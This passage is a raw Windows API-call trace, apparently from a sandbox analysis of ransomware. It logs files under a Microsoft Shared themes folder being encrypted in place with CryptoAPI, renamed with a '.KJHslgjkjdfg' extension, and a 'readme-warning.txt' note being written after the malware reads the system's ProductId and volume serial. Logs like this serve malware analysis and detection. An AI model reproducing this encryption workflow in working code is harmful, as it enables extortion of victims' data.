pdwDataLen=0x290efd0*=0xad10, dwBufLen=0xad10 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xad10) returned 1 [0151.155] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.155] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xad10, lpOverlapped=0x0) returned 1 [0151.156] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.156] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xade4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.156] SetEndOfFile (hFile=0x118) returned 1 [0151.159] GetProcessHeap () returned 0x2a0000 [0151.159] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.159] GetProcessHeap () returned 0x2a0000 [0151.159] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0151.163] CloseHandle (hObject=0x118) returned 1 [0151.163] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0151.163] GetProcessHeap () returned 0x2a0000 [0151.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.163] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.163] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.163] GetProcessHeap () returned 0x2a0000 [0151.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.164] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.164] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.164] GetProcessHeap () returned 0x2a0000 [0151.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0151.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.164] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0151.164] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.164] GetProcessHeap () returned 0x2a0000 [0151.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.164] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.164] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.164] GetProcessHeap () returned 0x2a0000 [0151.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.164] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.164] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.164] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.165] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.165] RegCloseKey (hKey=0x118) returned 0x0 [0151.165] GetProcessHeap () returned 0x2a0000 [0151.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.165] GetProcessHeap () returned 0x2a0000 [0151.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.165] GetProcessHeap () returned 0x2a0000 [0151.165] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.165] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.165] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.165] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.165] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.165] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.166] GetProcessHeap () returned 0x2a0000 [0151.166] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.166] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.166] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.166] GetProcessHeap () returned 0x2a0000 [0151.166] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0151.166] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt") returned 83 [0151.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.167] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.168] CloseHandle (hObject=0x118) returned 1 [0151.168] GetProcessHeap () returned 0x2a0000 [0151.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0151.168] GetProcessHeap () returned 0x2a0000 [0151.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0151.169] GetProcessHeap () returned 0x2a0000 [0151.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.169] GetProcessHeap () returned 0x2a0000 [0151.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.169] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.169] GetProcessHeap () returned 0x2a0000 [0151.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.169] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0151.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0151.170] GetProcessHeap () returned 0x2a0000 [0151.170] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.170] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0151.170] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0151.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0151.173] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.173] GetProcessHeap () returned 0x2a0000 [0151.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.173] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0151.173] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.173] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0151.173] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0151.173] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0151.173] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0151.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0151.174] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0151.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0151.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.174] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c6c, lpOverlapped=0x0) returned 1 [0151.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c70, dwBufLen=0x1c70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c70) returned 1 [0151.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.176] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c70, lpOverlapped=0x0) returned 1 [0151.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.176] SetEndOfFile (hFile=0x114) returned 1 [0151.179] GetProcessHeap () returned 0x2a0000 [0151.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.179] GetProcessHeap () returned 0x2a0000 [0151.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.kjhslgjkjdfg")) returned 1 [0151.180] CloseHandle (hObject=0x114) returned 1 [0151.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATER", cAlternateFileName="")) returned 1 [0151.181] GetProcessHeap () returned 0x2a0000 [0151.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0151.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.181] GetProcessHeap () returned 0x2a0000 [0151.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.181] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0151.181] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0151.181] GetProcessHeap () returned 0x2a0000 [0151.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0151.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.182] GetProcessHeap () returned 0x2a0000 [0151.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.182] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.182] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.182] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.186] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.186] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.186] GetProcessHeap () returned 0x2a0000 [0151.186] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.186] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.186] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.186] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.186] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.186] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.186] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.186] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.186] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.187] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.187] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.187] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.187] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa6c, lpOverlapped=0x0) returned 1 [0151.187] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa70, dwBufLen=0xa70 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa70) returned 1 [0151.187] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.187] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa70, lpOverlapped=0x0) returned 1 [0151.187] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.187] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.187] SetEndOfFile (hFile=0x118) returned 1 [0151.190] GetProcessHeap () returned 0x2a0000 [0151.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.190] GetProcessHeap () returned 0x2a0000 [0151.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.kjhslgjkjdfg")) returned 1 [0151.192] CloseHandle (hObject=0x118) returned 1 [0151.192] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0151.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.192] GetProcessHeap () returned 0x2a0000 [0151.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.192] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.192] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.193] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0151.195] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.195] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.195] GetProcessHeap () returned 0x2a0000 [0151.195] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.195] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: 